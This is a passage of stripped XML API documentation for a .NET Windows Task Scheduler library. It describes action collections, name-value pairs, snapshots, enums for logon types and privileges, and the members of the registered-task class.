that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents 